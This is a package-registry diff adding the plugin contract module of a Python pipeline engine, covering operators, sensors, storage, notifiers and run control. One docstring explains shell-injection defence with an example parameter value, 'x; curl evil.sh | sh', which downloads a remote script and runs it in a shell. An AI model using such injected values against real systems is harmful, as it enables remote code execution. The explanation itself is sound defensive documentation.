dirigent-plugin 0.9.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,719 @@
1
+ """The dirigent block contract: the only module a third-party plugin package needs to import."""
2
+
3
+ from abc import ABC, abstractmethod
4
+ from collections.abc import AsyncGenerator, AsyncIterator, Callable, Mapping
5
+ from contextlib import AbstractAsyncContextManager
6
+ from datetime import datetime, timedelta
7
+ from enum import StrEnum
8
+ from pathlib import Path
9
+ from typing import Any, ClassVar, Protocol, cast
10
+ from uuid import UUID
11
+
12
+ import httpx2
13
+ from jsonschema import FormatChecker
14
+ from pydantic import BaseModel, ConfigDict, Field, GetJsonSchemaHandler, JsonValue, field_validator, model_validator
15
+ from pydantic.json_schema import JsonSchemaValue
16
+ from pydantic_core import CoreSchema
17
+
18
+ from dirigent_common import API_VERSION, SHELL_MEDIA_TYPE, HealthReport, JsonMap
19
+
20
+ type RunId = UUID
21
+
22
+ #: A connection is referenced by name, never by id, so documents stay portable.
23
+ type ConnectionRef = str
24
+
25
+ #: A JSON Schema format checker: a predicate that returns True when a value satisfies the
26
+ #: format, False when it does not, and may instead raise to signal the value is invalid --
27
+ #: exactly what ``jsonschema.FormatChecker.checks`` registers.
28
+ type FormatCheck = Callable[[object], bool]
29
+
30
+ #: Block ids are public API.
31
+ BLOCK_ID_PATTERN = r"^[a-z][a-z0-9_]*(\.[a-z][a-z0-9_]*)+$"
32
+
33
+ #: A block group is one bare word, the shape of a block id's first half.
34
+ BLOCK_GROUP_PATTERN = r"^[a-z][a-z0-9_]*$"
35
+
36
+ SURFACE_ID_PATTERN = r"^[a-z][a-z0-9_-]*$"
37
+
38
+
39
+ class ErrorClass(StrEnum):
40
+ """How a block classifies a failure, which is what drives the engine's retry decision."""
41
+
42
+ TRANSIENT = "transient"
43
+ """Network, 5xx, timeout: retryable."""
44
+
45
+ REJECTED = "rejected"
46
+ """Validation, auth, 4xx: never retried."""
47
+
48
+ UNKNOWN = "unknown"
49
+ """Anything else: retried while the step's budget lasts."""
50
+
51
+
52
+ class BlockFailure(Exception):
53
+ """A failure a block reports deliberately, carrying its own error classification."""
54
+
55
+ def __init__(self, message: str, *, error_class: ErrorClass = ErrorClass.UNKNOWN) -> None:
56
+ """Record the message and the class the engine should retry (or not retry) on."""
57
+ super().__init__(message)
58
+ self.message = message
59
+ self.error_class = error_class
60
+
61
+ def __str__(self) -> str:
62
+ """Render the failure as its message."""
63
+ return self.message
64
+
65
+
66
+ def classify_default(error: Exception) -> ErrorClass:
67
+ """Classify an exception with no block-specific knowledge: transport and 5xx transient, 4xx rejected."""
68
+ match error:
69
+ case BlockFailure():
70
+ return error.error_class
71
+ case httpx2.HTTPStatusError():
72
+ status = error.response.status_code
73
+ if status >= 500:
74
+ return ErrorClass.TRANSIENT
75
+ if 400 <= status < 500:
76
+ return ErrorClass.REJECTED
77
+ return ErrorClass.UNKNOWN
78
+ case httpx2.TransportError() | TimeoutError() | ConnectionError():
79
+ return ErrorClass.TRANSIENT
80
+ case _:
81
+ return ErrorClass.UNKNOWN
82
+
83
+
84
+ class ShellString:
85
+ """Marks a config field whose resolved value is handed to a shell to parse.
86
+
87
+ A block that runs ``sh -c`` on a config string has a problem the block cannot solve on
88
+ its own: by the time it sees the string, the engine has already substituted every
89
+ ``${...}`` reference into it, and a literal semicolon written by the pipeline author is
90
+ indistinguishable from one that arrived in a webhook payload. So ``command: "load
91
+ ${params.region}"`` with ``region`` set to ``x; curl evil.sh | sh`` is a shell injection
92
+ reachable by whoever can POST to a webhook.
93
+
94
+ Marking the field pushes the knowledge to where the answer is known. The engine quotes
95
+ every interpolated segment before it lands in the string, so a substituted value is
96
+ always exactly one shell word regardless of what is in it, while everything the author
97
+ typed keeps its meaning -- pipes and redirects included, which is the entire reason the
98
+ shell form exists.
99
+
100
+ It is a bare class rather than a model: annotation metadata pydantic recognises as a
101
+ model would be read as the field's schema, and this marker must stay invisible to
102
+ validation.
103
+
104
+ The one thing it does publish is what the field holds. A string a shell parses is a
105
+ shell program, so the field carries ``contentMediaType: text/x-shellscript`` and a form
106
+ generated from the schema edits it as source rather than as one line of text.
107
+ """
108
+
109
+ __slots__ = ()
110
+
111
+ def __repr__(self) -> str:
112
+ """Render the marker the way it is written."""
113
+ return "ShellString()"
114
+
115
+ def __get_pydantic_json_schema__(
116
+ self,
117
+ schema: CoreSchema,
118
+ handler: GetJsonSchemaHandler,
119
+ ) -> JsonSchemaValue:
120
+ """Publish the marked field as shell source, leaving what it validates untouched."""
121
+ published = handler(schema)
122
+ published["contentMediaType"] = SHELL_MEDIA_TYPE
123
+ return published
124
+
125
+
126
+ def shell_string_fields(model: type[BaseModel]) -> frozenset[str]:
127
+ """List the config fields a model marked as being parsed by a shell."""
128
+ return frozenset(
129
+ name
130
+ for name, field in model.model_fields.items()
131
+ if any(isinstance(marker, ShellString) for marker in field.metadata)
132
+ )
133
+
134
+
135
+ class RemoteHandle(BaseModel):
136
+ """Serializable claim on a job running somewhere other than this block call.
137
+
138
+ Remote means "not in this process", which covers a container on the same machine as
139
+ readily as a job in another datacentre: what makes a handle a handle is that the work
140
+ outlives the call that started it and has to be probed.
141
+ """
142
+
143
+ model_config = ConfigDict(frozen=True)
144
+
145
+ block_id: str = Field(pattern=BLOCK_ID_PATTERN)
146
+ ref: str = Field(min_length=1)
147
+ meta: dict[str, str] = Field(default_factory=dict)
148
+
149
+
150
+ class ProbeStatus(StrEnum):
151
+ """The terminal-or-not state a probe reports for remote work."""
152
+
153
+ RUNNING = "running"
154
+
155
+ SUCCEEDED = "succeeded"
156
+ """The remote finished; the engine may now fetch the result."""
157
+
158
+ FAILED = "failed"
159
+
160
+ GONE = "gone"
161
+ """The remote no longer knows the job; the engine applies the lost-job policy."""
162
+
163
+
164
+ class ProbeResult(BaseModel):
165
+ """One side-effect-free observation of submitted remote work."""
166
+
167
+ status: ProbeStatus
168
+ message: str | None = None
169
+ progress: float | None = Field(default=None, ge=0.0, le=1.0)
170
+ next_poll_in: timedelta | None = None
171
+ meta: dict[str, str] | None = None
172
+ """What the handle's metadata becomes from here on, or None to leave it as it is.
173
+
174
+ A handle is frozen, so this is where a probe writes down how far it has read: the next
175
+ probe, and a following fetch, receive a handle carrying exactly this. It replaces rather
176
+ than merges, so whatever is kept is copied forward.
177
+
178
+ Advancing is at-least-once, like fetching: the cursor is stored by the transaction that
179
+ parks the attempt, and a worker that dies before that commit leaves the older cursor to
180
+ be probed from again. So a probe must tolerate reading the same ground twice, and the
181
+ lines it appends to the run may repeat.
182
+ """
183
+
184
+
185
+ class NotYet(BaseModel):
186
+ """A sensor's "the condition does not hold yet" result, which is not a failure."""
187
+
188
+ next_poll_in: timedelta | None = None
189
+ message: str | None = None
190
+ """What the sensor is seeing while it waits, surfaced on the waiting attempt."""
191
+
192
+ progress: float | None = Field(default=None, ge=0.0, le=1.0)
193
+
194
+ cursor: JsonMap | None = None
195
+ """What the next poke receives as ``ctx.cursor``, or None to leave it as it is.
196
+
197
+ It replaces rather than merges, so whatever is kept is copied forward. Advancing is
198
+ at-least-once: the cursor is stored by the transaction that parks the attempt, and a
199
+ worker that dies before that commit leaves the older cursor for the next poke to read
200
+ from again. So a poke must tolerate reading the same ground twice.
201
+
202
+ The cursor's life is the waiting attempt. A poke that succeeds ends the step, and
203
+ nothing carries the cursor past it.
204
+ """
205
+
206
+
207
+ def _group_from_id(data: Any) -> Any:
208
+ """Fill a spec's group with the id's first half, for a block that declares no group."""
209
+ if not isinstance(data, dict):
210
+ return data
211
+ fields = cast(dict[str, Any], data)
212
+ if fields.get("group"):
213
+ return fields
214
+ block_id = fields.get("id")
215
+ if not isinstance(block_id, str) or "." not in block_id:
216
+ return fields
217
+ return {**fields, "group": block_id.split(".", 1)[0]}
218
+
219
+
220
+ class OperatorSpec(BaseModel):
221
+ """The catalog entry for an operator: its stable id and the properties a caller reads."""
222
+
223
+ model_config = ConfigDict(frozen=True)
224
+
225
+ id: str = Field(pattern=BLOCK_ID_PATTERN)
226
+ summary: str = Field(min_length=1)
227
+ group: str = Field(default="", pattern=BLOCK_GROUP_PATTERN)
228
+ """The shelf a catalog arranges this block under, defaulting to the id's first half."""
229
+
230
+ idempotent: bool = False
231
+ local_execution: bool = False
232
+ default_poll: timedelta | None = None
233
+ """How often to probe this operator's remote work when the step does not say."""
234
+
235
+ @model_validator(mode="before")
236
+ @classmethod
237
+ def _shelve(cls, data: Any) -> Any:
238
+ """Default the group to the id's first half."""
239
+ return _group_from_id(data)
240
+
241
+
242
+ class SensorSpec(BaseModel):
243
+ """The catalog entry for a sensor, including the poll cadence the engine defaults to."""
244
+
245
+ model_config = ConfigDict(frozen=True)
246
+
247
+ id: str = Field(pattern=BLOCK_ID_PATTERN)
248
+ summary: str = Field(min_length=1)
249
+ group: str = Field(default="", pattern=BLOCK_GROUP_PATTERN)
250
+ """The shelf a catalog arranges this block under, defaulting to the id's first half."""
251
+
252
+ default_poll: timedelta = timedelta(minutes=1)
253
+ default_deadline: timedelta = timedelta(hours=24)
254
+
255
+ @model_validator(mode="before")
256
+ @classmethod
257
+ def _shelve(cls, data: Any) -> Any:
258
+ """Default the group to the id's first half."""
259
+ return _group_from_id(data)
260
+
261
+
262
+ class StatResult(BaseModel):
263
+ """What a storage backend knows about one object without reading it."""
264
+
265
+ uri: str = Field(min_length=1)
266
+ size: int = Field(ge=0)
267
+ modified_at: datetime
268
+ content_type: str | None = None
269
+
270
+
271
+ class AlertMessage(BaseModel):
272
+ """What an alert rule hands a notifier: the event, a rendered summary, and links back."""
273
+
274
+ event: str = Field(min_length=1)
275
+ subject: str = Field(min_length=1)
276
+ body: str = ""
277
+ run_id: RunId | None = None
278
+ pipeline: str | None = None
279
+ url: str | None = None
280
+ context: dict[str, JsonValue] = Field(default_factory=dict)
281
+
282
+
283
+ class ByteSink(Protocol):
284
+ """The write end of a storage stream."""
285
+
286
+ async def write(self, data: bytes) -> int:
287
+ """Append bytes to the stream and return how many were accepted."""
288
+ ...
289
+
290
+
291
+ class Logger(Protocol):
292
+ """The scoped, batched log writer a block is handed; it produces run-visible entries."""
293
+
294
+ def debug(self, message: str, **fields: JsonValue) -> None:
295
+ """Record a debug-level entry."""
296
+ ...
297
+
298
+ def info(self, message: str, **fields: JsonValue) -> None:
299
+ """Record an info-level entry."""
300
+ ...
301
+
302
+ def warning(self, message: str, **fields: JsonValue) -> None:
303
+ """Record a warning-level entry."""
304
+ ...
305
+
306
+ def error(self, message: str, **fields: JsonValue) -> None:
307
+ """Record an error-level entry."""
308
+ ...
309
+
310
+
311
+ class Storage(Protocol):
312
+ """The engine's URI-addressed storage facade, dispatching by scheme to a backend."""
313
+
314
+ def open_read(self, uri: str) -> AsyncGenerator[bytes]:
315
+ """Stream the object at a URI, closeable so a reader that stops early releases it."""
316
+ ...
317
+
318
+ def open_write(self, uri: str) -> AbstractAsyncContextManager[ByteSink]:
319
+ """Open a streamed writer for a URI."""
320
+ ...
321
+
322
+ async def stat(self, uri: str) -> StatResult | None:
323
+ """Describe the object at a URI, or return None when it does not exist."""
324
+ ...
325
+
326
+ def list(self, uri: str) -> AsyncIterator[StatResult]:
327
+ """List the objects under a URI prefix or matching a glob."""
328
+ ...
329
+
330
+ async def delete(self, uri: str) -> None:
331
+ """Remove the object at a URI."""
332
+ ...
333
+
334
+
335
+ class RunState(StrEnum):
336
+ """Where a run is, in the vocabulary a block observing another run reads.
337
+
338
+ The block-facing half of the engine's own run status; the two vocabularies must stay in step.
339
+ """
340
+
341
+ QUEUED = "queued"
342
+ RUNNING = "running"
343
+ SUCCEEDED = "succeeded"
344
+ COMPLETED_WITH_ERRORS = "completed_with_errors"
345
+ FAILED = "failed"
346
+ CANCELLED = "cancelled"
347
+
348
+ @property
349
+ def settled(self) -> bool:
350
+ """Report whether the run has reached a state it will never leave."""
351
+ return self in (RunState.SUCCEEDED, RunState.COMPLETED_WITH_ERRORS, RunState.FAILED, RunState.CANCELLED)
352
+
353
+
354
+ class RunRefused(BlockFailure):
355
+ """The instance refused to start the run a block asked for."""
356
+
357
+ def __init__(self, message: str) -> None:
358
+ """Carry the reason, classified as the configuration error it always is."""
359
+ super().__init__(message, error_class=ErrorClass.REJECTED)
360
+
361
+
362
+ class StartedRun(BaseModel):
363
+ """What asking this instance to start a run amounted to."""
364
+
365
+ model_config = ConfigDict(frozen=True)
366
+
367
+ pipeline: str
368
+ run_id: RunId | None = None
369
+ """The run that was created, or None when the pipeline's concurrency policy dropped it."""
370
+
371
+ state: RunState | None = None
372
+
373
+ @property
374
+ def skipped(self) -> bool:
375
+ """Report whether the concurrency policy decided the run in flight was enough."""
376
+ return self.run_id is None
377
+
378
+
379
+ class RunSnapshot(BaseModel):
380
+ """One side-effect-free observation of a run this instance holds."""
381
+
382
+ model_config = ConfigDict(frozen=True)
383
+
384
+ run_id: RunId
385
+ pipeline: str
386
+ state: RunState
387
+ total_steps: int = Field(default=0, ge=0)
388
+ finished_steps: int = Field(default=0, ge=0)
389
+ error: str | None = None
390
+
391
+ @property
392
+ def progress(self) -> float | None:
393
+ """Report how far the run has come, or None when it has no steps to count."""
394
+ if self.total_steps <= 0:
395
+ return None
396
+ return min(self.finished_steps / self.total_steps, 1.0)
397
+
398
+
399
+ class Runs(Protocol):
400
+ """Scoped access to this instance's own runs, for a block that composes pipelines."""
401
+
402
+ async def start(
403
+ self,
404
+ pipeline: str,
405
+ params: Mapping[str, JsonValue],
406
+ *,
407
+ max_depth: int,
408
+ ) -> StartedRun:
409
+ """Start a run of a named pipeline, attributed to the calling run.
410
+
411
+ ``max_depth`` bounds how deep a chain of pipelines starting pipelines may go, counted
412
+ along the attribution chain. Raises :class:`RunRefused` when the pipeline is unknown,
413
+ when the parameters do not satisfy its schema, or when the chain is already that deep.
414
+ """
415
+ ...
416
+
417
+ async def snapshot(self, run_id: RunId) -> RunSnapshot | None:
418
+ """Describe a run this instance holds, or return None when it holds no such run."""
419
+ ...
420
+
421
+ async def cancel(self, run_id: RunId, *, reason: str) -> bool:
422
+ """Cancel a run; False means it had already settled and there was nothing to stop."""
423
+ ...
424
+
425
+
426
+ class StepContext(Protocol):
427
+ """Handed to every block call by the engine: scoped, audited access to everything a block may touch."""
428
+
429
+ run_id: RunId
430
+ attempt: int
431
+ params: Mapping[str, JsonValue]
432
+ log: Logger
433
+
434
+ step: str
435
+ """The step's key in the pipeline document, unique within the run."""
436
+
437
+ run_item_id: UUID | None
438
+ """The fan-out item this attempt works on, or None outside a fan-out."""
439
+
440
+ started_at: datetime
441
+ """When this attempt first started, unchanged by a later poke, probe, or worker restart."""
442
+
443
+ inline_capture: int
444
+ """How many bytes of a captured stream this instance lets a block inline in its output."""
445
+
446
+ cursor: JsonMap | None
447
+ """The cursor the last committed :class:`NotYet` returned, and None on the first poke.
448
+
449
+ Only a sensor's poke reads it; every other call sees None.
450
+ """
451
+
452
+ def connection[C: BaseModel](self, ref: ConnectionRef, model: type[C]) -> C:
453
+ """Resolve a named connection, decrypted and validated against the given model."""
454
+ ...
455
+
456
+ def storage_connection[C: BaseModel](self, scheme: str, model: type[C]) -> C | None:
457
+ """Resolve the connection this instance configures a storage scheme from, or None.
458
+
459
+ The same binding the storage facade itself uses, for a block that must hand a scheme's
460
+ credentials to something other than the facade -- an engine that opens the URI itself.
461
+ None means the scheme is served by whatever its package contributed it with.
462
+ """
463
+ ...
464
+
465
+ def http(self, ref: ConnectionRef) -> httpx2.AsyncClient:
466
+ """Build an HTTP client for a named connection with its base URL, auth, TLS, and timeouts applied."""
467
+ ...
468
+
469
+ def schema(self, code: str) -> JsonMap:
470
+ """Resolve a named JSON Schema the instance holds by code; an unknown code fails the step."""
471
+ ...
472
+
473
+ def format_checker(self) -> FormatChecker:
474
+ """The checker a schema validation asserts formats against: the base plus every contributed one.
475
+
476
+ A ``format`` no pack contributes has no checker and stays a passing annotation, so a
477
+ schema is portable across instances -- it asserts where the format lives and passes
478
+ where it does not.
479
+ """
480
+ ...
481
+
482
+ @property
483
+ def storage(self) -> Storage:
484
+ """Access URI-addressed storage across every registered scheme."""
485
+ ...
486
+
487
+ @property
488
+ def scratch(self) -> str:
489
+ """Return the run-scoped URI prefix for intermediate artifacts."""
490
+ ...
491
+
492
+ @property
493
+ def work(self) -> Path:
494
+ """Return the run's directory on this worker's own filesystem, made on first read.
495
+
496
+ For what a tool opens through the filesystem rather than through storage: a checkout,
497
+ a build context, a compose file, a bind mount. It is local to the worker that reads
498
+ it, so a path one step leaves here is not one another worker can be handed; anything
499
+ a later step must see goes to :attr:`scratch` through storage.
500
+ """
501
+ ...
502
+
503
+ @property
504
+ def runs(self) -> Runs:
505
+ """Start, observe, and cancel runs on this instance, attributed to the calling run."""
506
+ ...
507
+
508
+
509
+ class Operator[ConfigT: BaseModel, OutputT: BaseModel](ABC):
510
+ """One unit of work: finish synchronously, or return a RemoteHandle for the engine to probe."""
511
+
512
+ spec: ClassVar[OperatorSpec]
513
+ config_model: ClassVar[type[BaseModel]]
514
+ output_model: ClassVar[type[BaseModel]]
515
+
516
+ @abstractmethod
517
+ async def execute(self, config: ConfigT, ctx: StepContext) -> OutputT | RemoteHandle:
518
+ """Do the work once per attempt; never poll inside, return a handle instead."""
519
+ ...
520
+
521
+ async def probe(self, handle: RemoteHandle, config: ConfigT, ctx: StepContext) -> ProbeResult:
522
+ """Report the remote job's state; side-effect-free and callable from any worker, any number of times.
523
+
524
+ Returning ``meta`` advances the handle every later call receives, which is how a probe
525
+ streaming a remote log into the run records where it has read to. That advance is
526
+ at-least-once: a cursor is only as far along as the last outcome that committed.
527
+ """
528
+ raise NotImplementedError(f"{type(self).__name__} returned a RemoteHandle but does not implement probe()")
529
+
530
+ async def fetch(self, handle: RemoteHandle, config: ConfigT, ctx: StepContext) -> OutputT:
531
+ """Retrieve the result after a probe reported SUCCEEDED; safe to call again.
532
+
533
+ The only thing that ends an attempt is the transaction recording its outcome, and a
534
+ worker that dies between fetching and that commit leaves the attempt to be claimed,
535
+ probed and fetched again. So this is at-least-once: retrieve, do not consume.
536
+ """
537
+ raise NotImplementedError(f"{type(self).__name__} returned a RemoteHandle but does not implement fetch()")
538
+
539
+ async def cancel(self, handle: RemoteHandle, config: ConfigT, ctx: StepContext) -> bool:
540
+ """Best-effort, idempotent cancellation; False means the remote could not be told."""
541
+ return False
542
+
543
+ def check_config(self, config: BaseModel) -> list[str]:
544
+ """List the extra refusals this block makes at apply, beyond what its schema says.
545
+
546
+ Each string is shown against the step's config location, so a document is refused
547
+ before it is stored rather than the first time it runs.
548
+ """
549
+ return []
550
+
551
+ def classify_error(self, error: Exception) -> ErrorClass:
552
+ """Classify a failure raised by this operator, so the engine knows whether to retry."""
553
+ return classify_default(error)
554
+
555
+
556
+ class Sensor[ConfigT: BaseModel, OutputT: BaseModel](ABC):
557
+ """Waits for the world. Each poke is one durable, scheduled probe; it must never block."""
558
+
559
+ spec: ClassVar[SensorSpec]
560
+ config_model: ClassVar[type[BaseModel]]
561
+ output_model: ClassVar[type[BaseModel]]
562
+
563
+ @abstractmethod
564
+ async def poke(self, config: ConfigT, ctx: StepContext) -> OutputT | NotYet:
565
+ """Observe the world once, read-only and briefly; NotYet is not a failure."""
566
+ ...
567
+
568
+ def check_config(self, config: BaseModel) -> list[str]:
569
+ """List the extra refusals this block makes at apply, beyond what its schema says.
570
+
571
+ Each string is shown against the step's config location, so a document is refused
572
+ before it is stored rather than the first time it runs.
573
+ """
574
+ return []
575
+
576
+ def classify_error(self, error: Exception) -> ErrorClass:
577
+ """Classify a failure raised by this sensor, so the engine knows whether to retry."""
578
+ return classify_default(error)
579
+
580
+
581
+ class StorageBackend(ABC):
582
+ """Registers a URI scheme and streams bytes for it."""
583
+
584
+ scheme: ClassVar[str]
585
+ config_model: ClassVar[type[BaseModel]]
586
+
587
+ def configured(self, config: BaseModel) -> "StorageBackend":
588
+ """Return this backend bound to one instance's settings for its scheme.
589
+
590
+ The contributed backend is shared by every attempt in the process, so an override
591
+ must return a new instance: an attempt must never be able to change the endpoint
592
+ another attempt is already reading through.
593
+ """
594
+ return self
595
+
596
+ @abstractmethod
597
+ def open_read(self, uri: str) -> AsyncGenerator[bytes]:
598
+ """Stream the object at a URI.
599
+
600
+ An async generator rather than a plain iterator: a reader that stops part way, such
601
+ as a request body abandoned mid-send, closes the stream, and the handle or the
602
+ connection is released there rather than whenever the object is collected.
603
+ """
604
+ ...
605
+
606
+ @abstractmethod
607
+ def open_write(self, uri: str) -> AbstractAsyncContextManager[ByteSink]:
608
+ """Open a streamed writer for a URI."""
609
+ ...
610
+
611
+ @abstractmethod
612
+ async def stat(self, uri: str) -> StatResult | None:
613
+ """Describe the object at a URI, or return None when it does not exist."""
614
+ ...
615
+
616
+ @abstractmethod
617
+ def list(self, uri: str) -> AsyncIterator[StatResult]:
618
+ """List the objects under a URI prefix or matching a glob."""
619
+ ...
620
+
621
+ @abstractmethod
622
+ async def delete(self, uri: str) -> None:
623
+ """Remove the object at a URI."""
624
+ ...
625
+
626
+
627
+ class Notifier(ABC):
628
+ """A pluggable message sender that alert rules deliver through."""
629
+
630
+ id: ClassVar[str]
631
+ config_model: ClassVar[type[BaseModel]]
632
+
633
+ @abstractmethod
634
+ async def send(self, message: AlertMessage, config: BaseModel) -> None:
635
+ """Deliver one alert message through this channel."""
636
+ ...
637
+
638
+
639
+ class ConnectionKind(ABC):
640
+ """A named credential record of a contributed kind whose secret fields the server redacts."""
641
+
642
+ id: ClassVar[str]
643
+ config_model: ClassVar[type[BaseModel]]
644
+
645
+ @abstractmethod
646
+ async def check(self, config: BaseModel) -> HealthReport:
647
+ """Verify that the configured connection can reach its external system."""
648
+ ...
649
+
650
+
651
+ type AnyOperator = Operator[Any, Any]
652
+ type AnySensor = Sensor[Any, Any]
653
+
654
+
655
+ class Contribution(BaseModel):
656
+ """Everything one plugin adds, across all six surfaces, gathered by the host at startup."""
657
+
658
+ model_config = ConfigDict(arbitrary_types_allowed=True, frozen=True)
659
+
660
+ api_version: int = Field(default=API_VERSION, ge=1)
661
+ operators: list[AnyOperator] = Field(default_factory=list[AnyOperator])
662
+ sensors: list[AnySensor] = Field(default_factory=list[AnySensor])
663
+ storage_backends: list[StorageBackend] = Field(default_factory=list[StorageBackend])
664
+ notifiers: list[Notifier] = Field(default_factory=list[Notifier])
665
+ connection_kinds: list[ConnectionKind] = Field(default_factory=list[ConnectionKind])
666
+ formats: dict[str, FormatCheck] = Field(default_factory=dict[str, FormatCheck])
667
+ """JSON Schema format checkers this plugin adds, by format name. A schema that writes
668
+ ``format: <name>`` then asserts wherever the contributing pack is installed, and stays a
669
+ passing annotation on an instance without it."""
670
+
671
+ @field_validator("api_version")
672
+ @classmethod
673
+ def _check_api_version(cls, value: int) -> int:
674
+ """Reject a contribution written against a different revision of this contract."""
675
+ if value != API_VERSION:
676
+ raise ValueError(f"unsupported api_version {value}; this host speaks {API_VERSION}")
677
+ return value
678
+
679
+ @model_validator(mode="after")
680
+ def _check_ids(self) -> "Contribution":
681
+ """Reject a contribution whose blocks or surfaces collide on an id."""
682
+ _require_unique("block id", [*(op.spec.id for op in self.operators), *(se.spec.id for se in self.sensors)])
683
+ _require_unique("storage scheme", [backend.scheme for backend in self.storage_backends])
684
+ _require_unique("notifier id", [notifier.id for notifier in self.notifiers])
685
+ _require_unique("connection kind id", [connection.id for connection in self.connection_kinds])
686
+ _require_unique("format", list(self.formats))
687
+ return self
688
+
689
+ def block_ids(self) -> list[str]:
690
+ """List every operator and sensor id this contribution registers."""
691
+ return [*(operator.spec.id for operator in self.operators), *(sensor.spec.id for sensor in self.sensors)]
692
+
693
+
694
+ def _require_unique(label: str, values: list[str]) -> None:
695
+ """Raise when a list of contributed ids contains a duplicate."""
696
+ seen: set[str] = set()
697
+ for value in values:
698
+ if value in seen:
699
+ raise ValueError(f"duplicate {label} {value!r} in contribution")
700
+ seen.add(value)
701
+
702
+
703
+ def merge_contributions(contributions: list[Contribution]) -> Contribution:
704
+ """Merge every plugin's contribution into the single catalog the host dispatches from."""
705
+ merged: dict[str, list[Any]] = {
706
+ "operators": [],
707
+ "sensors": [],
708
+ "storage_backends": [],
709
+ "notifiers": [],
710
+ "connection_kinds": [],
711
+ }
712
+ for contribution in contributions:
713
+ for surface, collected in merged.items():
714
+ collected.extend(getattr(contribution, surface))
715
+ formats: dict[str, FormatCheck] = {}
716
+ _require_unique("format", [name for contribution in contributions for name in contribution.formats])
717
+ for contribution in contributions:
718
+ formats.update(contribution.formats)
719
+ return Contribution(api_version=API_VERSION, formats=formats, **merged)